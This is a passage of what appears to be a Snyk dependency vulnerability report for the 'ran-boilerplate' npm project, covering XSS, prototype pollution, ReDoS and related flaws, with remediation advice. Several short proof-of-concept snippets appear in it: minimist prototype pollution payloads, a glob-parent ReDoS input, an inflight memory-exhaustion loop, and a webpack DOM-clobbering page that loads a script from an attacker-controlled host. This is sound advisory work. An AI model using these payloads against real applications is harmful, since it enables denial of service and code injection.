Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade json5
to version 1.0.2, 2.2.2 or higher.
References
medium severity
- Vulnerable module: cookie
- Introduced through: express@4.16.4 and next-cookies@Sly777/next-cookies#master
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › express@4.16.4 › cookie@0.3.1Remediation: Upgrade to express@4.21.1.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next-cookies@Sly777/next-cookies#master › cookie@0.3.1
Overview
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the cookie name
, path
, or domain
, which can be used to set unexpected values to other cookie fields.
Workaround
Users who are not able to upgrade to the fixed version should avoid passing untrusted or arbitrary values for the cookie fields and ensure they are set by the application instead of user input.
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade cookie
to version 0.7.0 or higher.
References
medium severity
new
- Vulnerable module: nanoid
- Introduced through: next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › nanoid@1.2.1Remediation: Upgrade to next@8.0.4.
Overview
Affected versions of this package are vulnerable to Improper Input Validation due to the mishandling of fractional values in the nanoid
function. By exploiting this vulnerability, an attacker can achieve an infinite loop.
Remediation
Upgrade nanoid
to version 3.3.8, 5.0.9 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: rimraf@2.6.3 and next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › rimraf@2.6.3 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › glob@7.1.2 › inflight@1.0.6
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › del@3.0.0 › globby@6.1.0 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › del@3.0.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › terser-webpack-plugin@1.0.2 › cacache@11.3.3 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › autodll-webpack-plugin@0.4.2 › del@3.0.0 › globby@6.1.0 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › autodll-webpack-plugin@0.4.2 › del@3.0.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › recursive-copy@2.0.6 › del@2.2.2 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › terser-webpack-plugin@1.0.2 › cacache@11.3.3 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › recursive-copy@2.0.6 › del@2.2.2 › globby@5.0.0 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › uglifyjs-webpack-plugin@1.3.0 › cacache@10.0.4 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › terser-webpack-plugin@1.0.2 › cacache@11.3.3 › move-concurrently@1.0.1 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › uglifyjs-webpack-plugin@1.3.0 › cacache@10.0.4 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › terser-webpack-plugin@1.0.2 › cacache@11.3.3 › move-concurrently@1.0.1 › copy-concurrently@1.0.5 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › uglifyjs-webpack-plugin@1.3.0 › cacache@10.0.4 › move-concurrently@1.0.1 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › uglifyjs-webpack-plugin@1.3.0 › cacache@10.0.4 › move-concurrently@1.0.1 › copy-concurrently@1.0.5 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres
function due to improperly deleting keys from the reqs
object after execution of callbacks. This behavior causes the keys to remain in the reqs
object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node
process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight
.
References
medium severity
- Vulnerable module: express
- Introduced through: express@4.16.4
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › express@4.16.4Remediation: Upgrade to express@4.19.2.
Overview
express is a minimalist web framework.
Affected versions of this package are vulnerable to Open Redirect due to the implementation of URL encoding using encodeurl
before passing it to the location
header. This can lead to unexpected evaluations of malformed URLs by common redirect allow list implementations in applications, allowing an attacker to bypass a properly implemented allow list and redirect users to malicious sites.
Remediation
Upgrade express
to version 4.19.2, 5.0.0-beta.3 or higher.
References
medium severity
- Vulnerable module: serialize-javascript
- Introduced through: next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › terser-webpack-plugin@1.0.2 › serialize-javascript@1.9.1Remediation: Upgrade to next@7.0.3.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › uglifyjs-webpack-plugin@1.3.0 › serialize-javascript@1.9.1
Overview
serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to unsanitized URLs. An Attacker can introduce unsafe HTML
characters through non-http URLs
.
PoC
const serialize = require('serialize-javascript');
let x = serialize({
x: new URL("x:</script>")
});
console.log(x)
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade serialize-javascript
to version 6.0.2 or higher.
References
medium severity
- Vulnerable module: node-fetch
- Introduced through: isomorphic-fetch@2.2.1 and react-apollo@2.3.3
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to isomorphic-fetch@3.0.0.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › react-apollo@2.3.3 › fbjs@1.0.0 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to react-apollo@2.5.0.
Overview
node-fetch is a light-weight module that brings window.fetch to node.js
Affected versions of this package are vulnerable to Denial of Service. Node Fetch did not honor the size
option after following a redirect, which means that when a content size was over the limit, a FetchError would never get thrown and the process would end without failure.
Remediation
Upgrade node-fetch
to version 2.6.1, 3.0.0-beta.9 or higher.
References
medium severity
- Vulnerable module: webpack
- Introduced through: next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2Remediation: Upgrade to next@10.0.6.
Overview
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via DOM clobbering in the AutoPublicPathRuntimeModule
class. Non-script HTML elements with unsanitized attributes such as name
and id
can be leveraged to execute code in the victim's browser. An attacker who can control such elements on a page that includes Webpack-generated files, can cause subsequent scripts to be loaded from a malicious domain.
PoC
<!DOCTYPE html>
<html>
<head>
<title>Webpack Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade webpack
to version 5.94.0 or higher.
References
medium severity
- Vulnerable module: minimist
- Introduced through: next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › minimist@1.2.0Remediation: Upgrade to next@8.0.0.
Overview
minimist is a parse argument options module.
Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype
using a constructor
or __proto__
payload.
PoC by Snyk
require('minimist')('--__proto__.injected0 value0'.split(' '));
console.log(({}).injected0 === 'value0'); // true
require('minimist')('--constructor.prototype.injected1 value1'.split(' '));
console.log(({}).injected1 === 'value1'); // true
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade minimist
to version 0.2.1, 1.2.3 or higher.
References
medium severity
- Vulnerable module: ejs
- Introduced through: offline-plugin@5.0.6
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › offline-plugin@5.0.6 › ejs@2.7.4
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the lack of certain pollution protection mechanisms. An attacker can exploit this vulnerability to manipulate object properties that should not be accessible or modifiable.
Note:
Even after updating to the fix version that adds enhanced protection against prototype pollution, it is still possible to override the hasOwnProperty
method.
Remediation
Upgrade ejs
to version 3.1.10 or higher.
References
medium severity
- Vulnerable module: glob-parent
- Introduced through: next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › glob-parent@3.1.0
Overview
glob-parent is a package that helps extracting the non-magic parent path from a glob string.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The enclosure
regex used to check for strings ending in enclosure containing path separator.
PoC by Yeting Li
var globParent = require("glob-parent")
function build_attack(n) {
var ret = "{"
for (var i = 0; i < n; i++) {
ret += "/"
}
return ret;
}
globParent(build_attack(5000));
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade glob-parent
to version 5.1.2 or higher.
References
medium severity
- Vulnerable module: loader-utils
- Introduced through: next@7.0.2 and offline-plugin@5.0.6
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › loader-utils@1.1.0Remediation: Upgrade to next@10.0.6.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › styled-jsx@3.1.0 › loader-utils@1.1.0Remediation: Upgrade to next@12.0.9.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › offline-plugin@5.0.6 › loader-utils@0.2.17
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the resourcePath
variable in interpolateName.js
.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade loader-utils
to version 1.4.2, 2.0.4, 3.2.1 or higher.
References
medium severity
- Vulnerable module: loader-utils
- Introduced through: next@7.0.2 and offline-plugin@5.0.6
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › loader-utils@1.1.0Remediation: Upgrade to next@10.0.6.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › styled-jsx@3.1.0 › loader-utils@1.1.0Remediation: Upgrade to next@12.0.9.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › offline-plugin@5.0.6 › loader-utils@0.2.17
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in interpolateName
function via the URL
variable.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
